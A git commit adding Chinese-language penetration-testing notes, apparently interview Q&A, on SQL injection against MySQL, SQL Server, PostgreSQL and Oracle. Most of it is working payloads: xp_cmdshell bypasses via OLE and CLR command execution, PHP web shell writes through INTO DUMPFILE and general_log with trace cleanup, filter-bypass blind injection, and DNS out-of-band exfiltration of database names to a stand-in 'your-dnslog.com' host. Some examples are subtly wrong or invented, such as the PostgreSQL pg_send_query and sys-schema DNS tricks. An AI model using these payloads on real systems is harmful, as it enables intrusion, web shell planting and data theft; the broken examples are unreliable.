Add files via upload
This commit is contained in:
@@ -0,0 +1,77 @@
|
|||||||
|
### MMSQL 的 xp_cmdshell() 函数被禁用怎么绕过
|
||||||
|
|
||||||
|
**1. 利用其他扩展存储过程**
|
||||||
|
|
||||||
|
MSSQL 中还有一些其他的扩展存储过程,它们可能没有 `xp_cmdshell` 那么直接,但仍然可以用于执行命令或读写文件
|
||||||
|
|
||||||
|
- **`sp_OACreate` (OLE Automation Procedures)**: 这个过程通常用于创建 COM 对象,但如果你能找到合适的 COM 对象,比如 `WScript.Shell`,就可以利用它来执行命令
|
||||||
|
|
||||||
|
**示例代码:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
DECLARE @shell INT;
|
||||||
|
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
|
||||||
|
EXEC sp_OAMethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\temp\output.txt';
|
||||||
|
-- 之后你可以读取 output.txt 来获取结果
|
||||||
|
```
|
||||||
|
|
||||||
|
**注意:** 这种方法依赖于是否启用了 OLE Automation Procedures,并且需要寻找可以被利用的 COM 对象
|
||||||
|
|
||||||
|
**2. SQL Server Agent Jobs**
|
||||||
|
|
||||||
|
如果 SQL Server Agent 服务正在运行,并且你拥有创建作业的权限,你可以创建一个新的 Agent Job,并在其中执行 PowerShell 或命令行脚本
|
||||||
|
|
||||||
|
- **创建作业 (Job)**: 创建一个 SQL Agent Job,步骤类型 (Step Type) 选择 **`Operating system (CmdExec)`** 或 **`PowerShell`**
|
||||||
|
- **编写脚本**: 在步骤中直接写入你要执行的命令
|
||||||
|
- **启动作业**: 启动该作业,命令就会在 SQL Server Agent 的权限下执行
|
||||||
|
|
||||||
|
这种方法的好处是,即使 `xp_cmdshell` 被禁用,Agent Job 依然可以运行。但前提是,你有权限创建并执行作业
|
||||||
|
|
||||||
|
**3. CLR Assembly**
|
||||||
|
|
||||||
|
SQL Server 提供了 CLR (Common Language Runtime) 集成功能,允许你在数据库中运行 .NET 代码。如果你可以创建一个恶意的 CLR Assembly,并在其中编写执行命令的代码,就可以绕过 `xp_cmdshell`
|
||||||
|
|
||||||
|
- **启用 CLR**:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
EXEC sp_configure 'clr enabled', 1;
|
||||||
|
RECONFIGURE;
|
||||||
|
```
|
||||||
|
|
||||||
|
- **创建并部署 Assembly**: 编写一个 C# 代码,使用 `System.Diagnostics.Process` 类来执行命令,然后将其编译成 DLL,并上传到数据库
|
||||||
|
|
||||||
|
- **创建存储过程**: 创建一个 SQL 存储过程来调用这个 Assembly 中的方法
|
||||||
|
|
||||||
|
**C# 代码示例:**
|
||||||
|
|
||||||
|
```c#
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Data.SqlClient;
|
||||||
|
using Microsoft.SqlServer.Server;
|
||||||
|
|
||||||
|
public class StoredProcedures
|
||||||
|
{
|
||||||
|
[SqlProcedure]
|
||||||
|
public static void CmdExec(string command)
|
||||||
|
{
|
||||||
|
Process.Start("cmd.exe", "/c " + command);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**SQL Server 端:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 创建 Assembly
|
||||||
|
CREATE ASSEMBLY CommandExec FROM 'C:\path\to\YourAssembly.dll' WITH PERMISSION_SET = UNSAFE;
|
||||||
|
|
||||||
|
-- 创建存储过程
|
||||||
|
CREATE PROCEDURE sp_CmdExec @command NVARCHAR(4000) AS
|
||||||
|
EXTERNAL NAME [YourAssembly].[StoredProcedures].[CmdExec];
|
||||||
|
|
||||||
|
-- 执行
|
||||||
|
EXEC sp_CmdExec 'whoami';
|
||||||
|
```
|
||||||
|
|
||||||
|
**注意:** CLR Assembly 功能通常是默认禁用的,并且创建 UNSAFE 权限集的 Assembly 需要 `sysadmin` 权限
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
### MySQL 5.0 以上和 5.0 以下的区别
|
||||||
|
|
||||||
|
**1. `information_schema` 的有无**
|
||||||
|
|
||||||
|
**MySQL 5.0 以下**:
|
||||||
|
|
||||||
|
- **信息收集困难**:没有 `information_schema` 这个**元数据数据库**。攻击者无法通过简单的查询 `information_schema.tables` 或 `information_schema.columns` 来列出数据库、表和列的名称。这迫使渗透测试人员**依赖盲注和字典攻击**来猜测表名和列名,大大增加了信息收集的难度和时间
|
||||||
|
|
||||||
|
**MySQL 5.0 及以上**:
|
||||||
|
|
||||||
|
- **信息收集自动化**:`information_schema` 数据库的引入,彻底改变了 SQL 注入的自动化方式。攻击者可以通过一条简单的注入语句,就能**枚举出整个数据库的结构**,包括所有库名、表名、列名以及它们的数据类型。这使得像 **SQLmap** 这样的自动化工具能够高效地工作,大大降低了攻击的门槛。
|
||||||
|
|
||||||
|
**2. 并发操作模式**
|
||||||
|
|
||||||
|
**MySQL 5.0 以下**:
|
||||||
|
|
||||||
|
- **多用户单操作**:这个说法通常是指**不完全支持多用户并发**,或者并发控制机制相对简单。在某些版本中,对同一资源的并发访问可能导致锁定和性能问题。从渗透角度看,这可能导致一些复杂的注入技术(如基于锁定的时间盲注)效果不佳,但影响相对较小
|
||||||
|
|
||||||
|
**MySQL 5.0 及以上**:
|
||||||
|
|
||||||
|
- **多用户多操作**:这通常指的是**更好的并发控制**和**事务支持**。MySQL 5.0 引入了**事务**和更强大的锁机制,使得多个用户可以同时对数据库进行复杂操作,而不会相互干扰。这对于正常的业务应用至关重要
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
### SQL 注入 outfile() 被过滤怎么绕过
|
||||||
|
|
||||||
|
**1. 利用 `dumpfile()` 函数**
|
||||||
|
|
||||||
|
如果 `outfile()` 被禁用,但 `dumpfile()` 未被过滤,这是一个直接的替代方案
|
||||||
|
|
||||||
|
- **区别**:`outfile()` 可以将查询结果输出到文件中,支持多行数据。而 `dumpfile()` 只能输出单行数据。
|
||||||
|
- **用法**:将需要写入文件的内容作为查询结果,然后使用 `into dumpfile` 写入
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';
|
||||||
|
```
|
||||||
|
|
||||||
|
**2. 利用日志文件**
|
||||||
|
|
||||||
|
如果数据库开启了通用查询日志(`general_log`)或者慢查询日志(`slow_query_log`),并且你有权限修改日志路径,那么可以利用这个特性来写入 Webshell
|
||||||
|
|
||||||
|
- **步骤**:
|
||||||
|
1. **设置日志文件路径**:将 `general_log_file` 或 `slow_query_log_file` 的值修改为 Web 目录下的一个可写路径,例如 `/var/www/html/shell.php`
|
||||||
|
2. **开启日志**:将 `general_log` 或 `slow_query_log` 设为 `ON`
|
||||||
|
3. **写入恶意代码**:执行一个包含 Webshell 代码的查询,例如 `SELECT '<?php system($_GET["cmd"]); ?>'`。这条查询语句会被写入到日志文件中,从而创建 Webshell
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 修改日志路径
|
||||||
|
SET GLOBAL general_log_file = '/var/www/html/shell.php';
|
||||||
|
|
||||||
|
# 开启日志
|
||||||
|
SET GLOBAL general_log = ON;
|
||||||
|
|
||||||
|
# 写入 Webshell
|
||||||
|
SELECT '<?php system($_GET["cmd"]); ?>';
|
||||||
|
|
||||||
|
# 写入完成后,关闭日志并重置路径,避免留下痕迹
|
||||||
|
SET GLOBAL general_log = OFF;
|
||||||
|
SET GLOBAL general_log_file = '/path/to/original/log';
|
||||||
|
```
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
### SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过
|
||||||
|
|
||||||
|
许多 Web 应用程序不仅处理 POST 和 GET 数据,还会依赖于 HTTP 请求头中的信息。如果这些头信息没有经过严格的过滤,就可能成为注入点
|
||||||
|
|
||||||
|
- **User-Agent:** 很多网站会记录访问者的 User-Agent 信息。如果后台程序直接将 User-Agent 拼接到 SQL 查询中,就可能存在注入
|
||||||
|
- **X-Forwarded-For:** 这个头通常用于获取用户的真实 IP 地址。当网站部署了负载均衡或 CDN 时,它会记录用户的原始 IP。同样,如果处理不当,也可能成为注入点
|
||||||
|
- **Cookie:** 网站通常会使用 Cookie 来存储会话信息或其他用户数据。如果 Cookie 中的某个值直接参与了 SQL 查询,就可能被利用
|
||||||
|
- **Referer:** 网站会记录用户是从哪个页面跳转过来的。如果这个信息直接被用于查询,同样存在风险
|
||||||
|
|
||||||
|
**绕过方式:** 以 User-Agent 为例,你可以使用 Burp Suite 或其他抓包工具,在请求头中修改 User-Agent 的值,构造 SQL 注入 Payload。 例如:`User-Agent: ' OR 1=1--`
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
### SQL 盲注 if() 函数被过滤怎么绕过
|
||||||
|
|
||||||
|
**1. 利用 `CASE WHEN` 语句**
|
||||||
|
|
||||||
|
`CASE WHEN` 语句是 SQL 中最常见的条件判断表达式,其功能与 `IF()` 函数非常相似,且通常不会被安全设备过滤
|
||||||
|
|
||||||
|
- **语法:** `CASE WHEN [condition] THEN [value1] ELSE [value2] END`
|
||||||
|
- **布尔盲注绕过:** `SELECT * FROM users WHERE id = 1 AND CASE WHEN (1=1) THEN 1 ELSE 2 END = 1`
|
||||||
|
- **时间盲注绕过:** `SELECT * FROM users WHERE id = 1 AND CASE WHEN (SUBSTRING(database(),1,1) = 'd') THEN SLEEP(5) ELSE 0 END`
|
||||||
|
|
||||||
|
**2. 利用 `UNION` + 错误信息**
|
||||||
|
|
||||||
|
当 `IF()` 被过滤,但 `UNION` 和错误信息回显没有被完全禁用时,我们可以利用 `UNION` 来触发自定义的错误信息,从而进行布尔盲注
|
||||||
|
|
||||||
|
- **原理:** 通过 `UNION` 将一个错误的查询结果与正常的查询结果合并,当错误的查询语句执行时,数据库会返回错误信息,其中可能包含我们想要的数据
|
||||||
|
- **绕过方式:** `SELECT * FROM users WHERE id = -1 UNION SELECT 1, 2, 3 FROM DUAL WHERE (1=2) OR (1=1) UNION SELECT 1, 2, 3 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)a` 这个方法需要根据具体情况进行调整,利用数据库的语法错误或类型转换错误来触发自定义的错误信息
|
||||||
|
|
||||||
|
**3. 利用位运算和 `LIKE` 语句**
|
||||||
|
|
||||||
|
当数据库不支持 `IF()` 或 `CASE` 语句时,我们可以利用逻辑运算和位运算来逐位判断数据
|
||||||
|
|
||||||
|
- **原理:** `LIKE` 语句可以用于模糊匹配,我们可以将它和数据库中的数据结合起来,逐个字符地猜解
|
||||||
|
- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND username LIKE 'a%'` 如果该查询返回结果,则说明 `username` 的第一个字符是 'a'。我们可以通过不断改变 `%` 前的字符来逐个猜解数据
|
||||||
|
|
||||||
|
**4. 利用 `benchmark()` 函数**
|
||||||
|
|
||||||
|
在 MySQL 中,`benchmark()` 函数可以用来执行指定的函数多次,从而消耗大量时间。这可以用来替代 `SLEEP()` 函数进行时间盲注
|
||||||
|
|
||||||
|
- **原理:** `BENCHMARK(count, expr)` 会重复执行 `expr` 表达式 `count` 次。如果 `expr` 包含一个耗时的操作,我们可以根据执行时间来判断条件是否成立
|
||||||
|
|
||||||
|
- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND BENCHMARK(10000000, MD5(1)) AND (SUBSTRING(database(),1,1) = 'd')`
|
||||||
|
|
||||||
|
如果条件 `(SUBSTRING(database(),1,1) = 'd')` 成立,`BENCHMARK` 函数就会被执行,页面响应会变慢。否则,页面会立即响应
|
||||||
|
|
||||||
|
**5. 利用 `get_lock()` 函数**
|
||||||
|
|
||||||
|
在 MySQL 中,`GET_LOCK()` 函数可以用于获取一个全局锁,如果锁已被其他会话占用,该函数会等待直到锁被释放或超时
|
||||||
|
|
||||||
|
- **原理:** 我们可以利用 `GET_LOCK()` 函数设置一个长达数秒的锁,从而实现时间盲注的效果
|
||||||
|
|
||||||
|
- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND IF((SUBSTRING(database(),1,1)='d'), GET_LOCK('hack', 5), 0)`
|
||||||
|
|
||||||
|
如果条件成立,`GET_LOCK` 会被执行,页面会等待 5 秒
|
||||||
|
|
||||||
|
**6. 利用 `ELT()` 函数**
|
||||||
|
|
||||||
|
`ELT()` 函数是 MySQL 中的一个字符串函数,它可以根据索引返回列表中的一个字符串
|
||||||
|
|
||||||
|
- **原理:** `ELT(N, str1, str2, ...)` 返回第 N 个字符串。我们可以将它与条件判断结合,实现布尔盲注
|
||||||
|
- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND ELT(1, 'false', 'true')` 如果条件为真,`ELT` 会返回 `true`,否则返回 `false`
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
### SQL 注入无回显利用 DNSLog 如何构造
|
||||||
|
|
||||||
|
**1. MySQL/MariaDB**
|
||||||
|
|
||||||
|
在 MySQL 和 MariaDB 中,`LOAD_FILE()` 函数和 `UNC` 路径(Windows 共享路径)是触发 DNS 查询的常用手段
|
||||||
|
|
||||||
|
**a. 利用 `LOAD_FILE()`**
|
||||||
|
|
||||||
|
`LOAD_FILE()` 函数用于读取文件内容,但如果给它一个 UNC 路径,它会触发 DNS 查询
|
||||||
|
|
||||||
|
- **Payload 构造:** `SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.your-dnslog.com\\a'));`
|
||||||
|
- **解释:**
|
||||||
|
- `SELECT DATABASE()`:获取当前数据库名
|
||||||
|
- `CONCAT(...)`:将数据库名与你的 DNSlog 域名拼接成一个新的域名,例如 `testdb.your-dnslog.com`
|
||||||
|
- `LOAD_FILE()`:尝试加载这个 UNC 路径,由于域名不存在本地,它会发起 DNS 查询
|
||||||
|
- `\\a`:这是一个占位符,用于避免语法错误
|
||||||
|
|
||||||
|
**b. 利用 `DNS_REVERSE()` 和 `BENCHMARK()`**
|
||||||
|
|
||||||
|
这是一个更高级的技巧,需要 MySQL 5.7.10 或更高版本,且安装了 `sys` 模式
|
||||||
|
|
||||||
|
- **Payload 构造:** `SELECT BENCHMARK(1000000,MD5(CONCAT('a',(SELECT DATABASE())))) AND (SELECT sys.version_get_option('version') LIKE '%DNS%');`
|
||||||
|
- 注意:这个方法主要是为了演示 `sys` 库的功能,实际操作中 `LOAD_FILE` 更常见
|
||||||
|
|
||||||
|
**2. SQL Server**
|
||||||
|
|
||||||
|
在 SQL Server 中,我们可以利用 `xp_cmdshell` 或 `sp_oacreate` 来触发 DNS 查询
|
||||||
|
|
||||||
|
**a. 利用 `xp_cmdshell`**
|
||||||
|
|
||||||
|
`xp_cmdshell` 是一个强大的存储过程,可以执行系统命令。我们可以利用 `ping` 命令来触发 DNS 查询
|
||||||
|
|
||||||
|
- **Payload 构造:** `EXEC xp_cmdshell 'ping -n 1 ' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';`
|
||||||
|
- **解释:**
|
||||||
|
- `xp_cmdshell`:执行 `ping` 命令
|
||||||
|
- `SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases`:获取第一个数据库的名称
|
||||||
|
- `+`:将数据库名与你的 DNSlog 域名拼接
|
||||||
|
|
||||||
|
**b. 利用 `sp_oacreate`**
|
||||||
|
|
||||||
|
`sp_oacreate` 可以创建 OLE 对象,我们可以利用它来发起 HTTP 请求,从而触发 DNS 查询
|
||||||
|
|
||||||
|
- **Payload 构造:** `DECLARE @h INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @h OUT; EXEC sp_oamethod @h, 'Open', NULL, 'GET', 'http://' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### 3. PostgreSQL
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
------
|
||||||
|
|
||||||
|
在 PostgreSQL 中,`COPY` 命令和 `pg_sleep` 结合可以实现 DNSlog。但更直接的方法是利用 `pg_send_query` 或 `UDF`(用户定义函数)。
|
||||||
|
|
||||||
|
- **Payload 构造:** `SELECT * FROM users WHERE id = 1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.your-dnslog.com')) IS NOT NULL;`
|
||||||
|
- **解释:**
|
||||||
|
- `pg_send_query()`:用于发送一个查询。
|
||||||
|
- `(SELECT version())`:获取 PostgreSQL 的版本信息。
|
||||||
|
- 这个方法利用了 PostgreSQL 在解析域名时会触发 DNS 查询的特性
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
### and or 被过滤怎么绕过
|
||||||
|
|
||||||
|
**1. 利用逻辑运算符的符号替代**
|
||||||
|
|
||||||
|
在某些情况下,WAF(Web Application Firewall)可能只过滤了关键字,而忽略了它们的符号表示
|
||||||
|
|
||||||
|
- **`&&` 替代 `and`:** 在 MySQL 中,`&&` 和 `and` 的功能相同。如果 `and` 被过滤,可以尝试使用 `&&`。
|
||||||
|
- **`||` 替代 `or`:** 同样,`||` 可以替代 `or` 来进行逻辑或操作。
|
||||||
|
|
||||||
|
**Payload 实例:**
|
||||||
|
|
||||||
|
- **原始注入:** `id=1 and 1=2`
|
||||||
|
- **绕过:** `id=1 && 1=2`
|
||||||
|
|
||||||
|
**2. 利用`!`、`<>`、`not` 等操作符**
|
||||||
|
|
||||||
|
通过巧妙地结合其他逻辑或比较操作符,我们可以构造出等价的判断逻辑
|
||||||
|
|
||||||
|
- **`and` 的替代:**
|
||||||
|
- `if not (a=1) then ...` 等价于 `if a<>1 then ...`
|
||||||
|
- 我们可以利用 `not` 或 `<>` 来否定条件,从而实现 `and` 的效果
|
||||||
|
- **例如:** `username=admin' or not ('1'='1' and '1'='2')` 这句可以被改写为 `username=admin' or not (1=1)`,这在逻辑上是错误的,我们可以利用它来测试
|
||||||
|
- **更具体的绕过:** `id=1 and 1=2` 可以被改写为 `id=1 or not 1=1`,这在布尔盲注中可以用来判断
|
||||||
|
|
||||||
|
**3. 利用`union select`进行盲注**
|
||||||
|
|
||||||
|
当布尔条件失效时,可以尝试使用 `union select` 来进行盲注
|
||||||
|
|
||||||
|
- **原理:**
|
||||||
|
- 正常情况下,`union select` 需要前后两个查询的列数一致
|
||||||
|
- 我们可以利用这一点,通过 `union select` 来注入一个不存在的列,从而触发数据库的报错,通过报错信息来判断
|
||||||
|
- **绕过方式:**
|
||||||
|
- **首先,使用 `union` 探测列数。** `id=1 union select 1,2,3...`
|
||||||
|
- **然后,利用列数来进行盲注。** `id=-1 union select 1, 2, user() like 'root%'` 如果页面正常回显,则说明 `user()` 以 `root` 开头。通过这种方式,可以逐字逐句地猜解数据
|
||||||
|
|
||||||
|
**4. 利用`if()`函数的替代品**
|
||||||
|
|
||||||
|
在布尔盲注中,`if()` 函数通常是不可或缺的。如果它和 `and` `or` 一起被过滤,那么需要寻找替代函数
|
||||||
|
|
||||||
|
- **`case when ... then ... end`:** 这是 `if()` 函数最常见的替代品,功能完全一样,且通常不会被过滤
|
||||||
|
- **例如:** `id=1 and (case when 1=1 then sleep(5) else 0 end)`
|
||||||
|
- **绕过:** `id=1 or (case when (database() like 'd%') then sleep(5) else 0 end)`
|
||||||
|
- **`greatest()` 和 `least()`:** 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断
|
||||||
|
- **例如:** `id=1 and greatest(1, (select if(1=1, 0, 1)))`
|
||||||
|
- **绕过:** `id=1 or greatest(ascii(substr(database(),1,1)), 100)>100`
|
||||||
|
|
||||||
|
**5. 利用其他查询特性**
|
||||||
|
|
||||||
|
当所有常用方法都被过滤时,可以尝试利用一些非常规的查询特性
|
||||||
|
|
||||||
|
- **`having` 子句:** `having` 用于对 `group by` 的结果进行过滤。在一些情况下,`having` 后面可以接子查询,可以利用这一点进行注入
|
||||||
|
- **`limit offset`:** 我们可以通过 `limit` 和 `offset` 来逐行读取数据,再结合其他技术进行判断
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
### SQLMap 自带脚本有哪些
|
||||||
|
|
||||||
|
**1. 编码与混淆(绕过签名检测)**
|
||||||
|
|
||||||
|
这类脚本通过对注入语句进行编码或转换,来改变其特征,以躲避基于签名的检测
|
||||||
|
|
||||||
|
- `**charencode.py**`:对所有字符进行 URL 编码,适用于 URL 编码绕过
|
||||||
|
- `**randomcase.py**`:将 SQL 关键字的字母大小写随机化
|
||||||
|
- **示例:** `SELECT` -> `sELeCT`
|
||||||
|
- `**space2comment.py**`:将空格替换为 SQL 注释 `/**/`
|
||||||
|
- **示例:** `SELECT user FROM users` -> `SELECT/**/user/**/FROM/**/users`
|
||||||
|
- `**space2mysqlblank.py**`:用 MySQL 专有的空格字符(如 Tab、换行符)替换空格
|
||||||
|
- `**base64encode.py**`:对整个注入语句进行 Base64 编码。需要目标网站解码才能生效
|
||||||
|
|
||||||
|
**2. 空白字符与分隔符替换**
|
||||||
|
|
||||||
|
这类脚本利用不同数据库对空白字符的解析差异来绕过过滤
|
||||||
|
|
||||||
|
- `**apostrophemask.py**`:将单引号 `'` 替换为 UTF-8 编码的 `'`
|
||||||
|
- `**equaltolike.py**`:将等号 `=` 替换为 `LIKE` 关键字
|
||||||
|
- **示例:** `id=1` -> `id LIKE 1`
|
||||||
|
- `**unionalltounion.py**`:将 `UNION ALL` 替换为 `UNION`,在某些情况下可能绕过过滤
|
||||||
|
- `**space2plus.py**`:将空格替换为加号 `+`,但需要注意这可能影响语句语义
|
||||||
|
|
||||||
|
**3. 语义与结构混淆**
|
||||||
|
|
||||||
|
这类脚本通过改变语句的逻辑结构,来使注入语句看起来像正常的查询
|
||||||
|
|
||||||
|
- `**between.py**`:将大于等于 `>=` 替换为 `BETWEEN`
|
||||||
|
- **示例:** `id>=1` -> `id BETWEEN 1 AND 999`
|
||||||
|
- `**ifnull2casewhenisnull.py**`:将 `IFNULL(A, B)` 替换为 `CASE WHEN ISNULL(A) THEN B ELSE A END`
|
||||||
|
|
||||||
|
**4. 绕过 WAF 的特定脚本**
|
||||||
|
|
||||||
|
这些脚本通常针对特定的安全产品或通用 WAF 规则
|
||||||
|
|
||||||
|
- `**modsecurityzeroversioned.py**`:在 SQL 语句后添加 `/*-!11111*/` 来绕过 ModSecurity WAF 的特定规则
|
||||||
|
- `**xforwardedfor.py**`:在 HTTP 请求头中伪造 `X-Forwarded-For` 字段,以绕过基于 IP 的限制
|
||||||
|
- `**sp_password.py**`:在有效载荷的末尾添加 `sp_password` 来绕过 MS-SQL Server 的日志记录
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
### 扫出后缀为 .asp 的数据库文件,访问乱码如何利用
|
||||||
|
|
||||||
|
这是最常见的情况。利用步骤如下:
|
||||||
|
|
||||||
|
- **使用工具直接打开**:
|
||||||
|
- 使用 **Microsoft Access** 软件直接打开。这是最直接的方式
|
||||||
|
- 使用 **Navicat Premium**、**DBeaver** 或其他支持 `.mdb` 格式的数据库管理工具打开。这些工具通常兼容性更好,即使文件头被修改,也可能能识别并打开
|
||||||
|
- **获取敏感信息**:
|
||||||
|
- 打开数据库后,立即检查所有表(Tables)
|
||||||
|
- **重点关注**:
|
||||||
|
- **管理员表**:通常命名为 `admin`、`users`、`manager` 等
|
||||||
|
- **用户表**:通常包含 `username`、`password`、`email` 等字段
|
||||||
|
- **配置表**:可能包含数据库连接字符串、API 密钥等
|
||||||
|
- **订单/客户信息表**:包含用户的个人隐私数据
|
||||||
|
- **破解加密密码**:
|
||||||
|
- 如果密码字段是加密或散列(hash)的,需要进一步处理
|
||||||
|
- **常见哈希类型**:MD5、SHA1 等
|
||||||
|
- **破解方法**:
|
||||||
|
- **在线查询**:如果哈希值是常见的,可以尝试在 **HashKiller**、**Crackstation** 等在线网站查询。
|
||||||
|
- **字典破解**:使用 **John the Ripper** 或 **Hashcat** 等工具,配合强大的密码字典进行暴力破解。
|
||||||
|
- **彩虹表**:使用预先计算好的彩虹表进行快速查询
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
### 找到一个注入点怎么判断对方什么数据库
|
||||||
|
|
||||||
|
**1. 报错信息判断**
|
||||||
|
|
||||||
|
最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息
|
||||||
|
|
||||||
|
- **MySQL**:`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use`
|
||||||
|
- **SQL Server**:`Microsoft OLE DB Provider for SQL Server`、`Incorrect syntax near '...`
|
||||||
|
- **Oracle**:`ORA-01756: quoted string not properly terminated`
|
||||||
|
- **PostgreSQL**:`PostgreSQL query failed: ERROR: parser: parse error`
|
||||||
|
- **SQLite**:`sqlite_query()`、`SQL syntax error`
|
||||||
|
|
||||||
|
**2. 特有函数和语法判断**
|
||||||
|
|
||||||
|
即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于**盲注**场景
|
||||||
|
|
||||||
|
**MySQL**
|
||||||
|
|
||||||
|
- **`version()`**:`and 1=1 and version()`。如果页面返回了版本号(如 `5.5.53`),那就是 MySQL
|
||||||
|
- **`sleep()`**:`and sleep(5)`。如果页面延迟了 5 秒,那很有可能是 MySQL
|
||||||
|
- **`user()`**:`and user()`
|
||||||
|
- **`database()`**:`and database()`
|
||||||
|
- **`load_file()`**:`and load_file('/etc/passwd')`
|
||||||
|
|
||||||
|
**SQL Server**
|
||||||
|
|
||||||
|
- **`@@version`**:`and 1=1 and @@version`。如果页面返回版本信息,则是 SQL Server
|
||||||
|
- **`xp_cmdshell`**:`and 1=1;exec xp_cmdshell('ping 127.0.0.1')--`。如果请求延迟,可能存在命令执行漏洞
|
||||||
|
- **`db_name()`**:`and db_name()`
|
||||||
|
- **`system_user`**:`and system_user`
|
||||||
|
|
||||||
|
**Oracle**
|
||||||
|
|
||||||
|
- **`user`**:`and user`
|
||||||
|
- **`sys.dba_tables`**:`and 1=1 and (select count(*) from sys.dba_tables)`。如果返回正常的页面,说明存在这张表
|
||||||
|
- **`dbms_pipe.receive_message()`**:`and 1=1 and dbms_pipe.receive_message('a',5)`。可以用来进行带外信道(OOB)注入
|
||||||
|
|
||||||
|
**PostgreSQL**
|
||||||
|
|
||||||
|
- **`pg_sleep()`**:`and pg_sleep(5)`。如果页面延迟,很可能是 PostgreSQL
|
||||||
|
- **`version()`**:`and version()`
|
||||||
|
- **`pg_database`**:`and 1=1 and (select count(*) from pg_database)`
|
||||||
|
|
||||||
|
**3. 不同数据库的查询差异**
|
||||||
|
|
||||||
|
每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断
|
||||||
|
|
||||||
|
- **字符串拼接**:
|
||||||
|
- **MySQL**:`union select 'a','b'`
|
||||||
|
- **SQL Server**:`union select 'a'+'b'`
|
||||||
|
- **Oracle**:`union select 'a'||'b'`
|
||||||
|
- **注释符号**:
|
||||||
|
- **MySQL/PostgreSQL**:`-- `(后面需要加空格)、`#`
|
||||||
|
- **SQL Server/Oracle**:`--`
|
||||||
|
- **内联注释**:`/**/` 可以在多种数据库中使用
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
### SQL 报错注入函数有哪些
|
||||||
|
|
||||||
|
**MySQL**
|
||||||
|
|
||||||
|
| 函数/方法 | 利用原理 | 举例 |
|
||||||
|
| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||||
|
| updatexml() | 修改 XML 文档,不合法的 XPath 路径会报错并显示内容 | ... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1) |
|
||||||
|
| extractvalue() | 从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容 | ... AND extractvalue(1, concat(0x7e, (SELECT user()))) |
|
||||||
|
| floor() | 结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示 | ... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
|
||||||
|
| name_const() | 用于创建一个带名称的匿名列。当在子查询中,我们使用 `NAME_CONST()` 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来 | AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
|
||||||
|
| exp() | 我们可以通过 `~` 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出 | AND (exp(~(SELECT * FROM (SELECT database())x))) |
|
||||||
|
|
||||||
|
**SQL Server**
|
||||||
|
|
||||||
|
| 函数/方法 | 利用原理 | 举例 |
|
||||||
|
| ------------------ | ------------------------------------------------------------ | ----------------------------------------- |
|
||||||
|
| convert() / cast() | 强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容 | ... AND 1=convert(int,(SELECT db_name())) |
|
||||||
|
|
||||||
|
**PostgreSQL**
|
||||||
|
|
||||||
|
| 函数/方法 | 利用原理 | 举例 |
|
||||||
|
| --------- | -------------------------------------------------- | ----------------------------------------- |
|
||||||
|
| cast() | 强制类型转换,将字符串转换为不兼容的数据类型时报错 | ... AND 1=CAST((SELECT version()) as int) |
|
||||||
|
|
||||||
|
**Oracle**
|
||||||
|
|
||||||
|
| 函数/方法 | 利用原理 | 举例 |
|
||||||
|
| ------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||||
|
| utl_inaddr.get_host_address() | utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 | ... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual))) |
|
||||||
|
| ctxsys.drithsx.sn() | 在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容 | ... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')) |
|
||||||
|
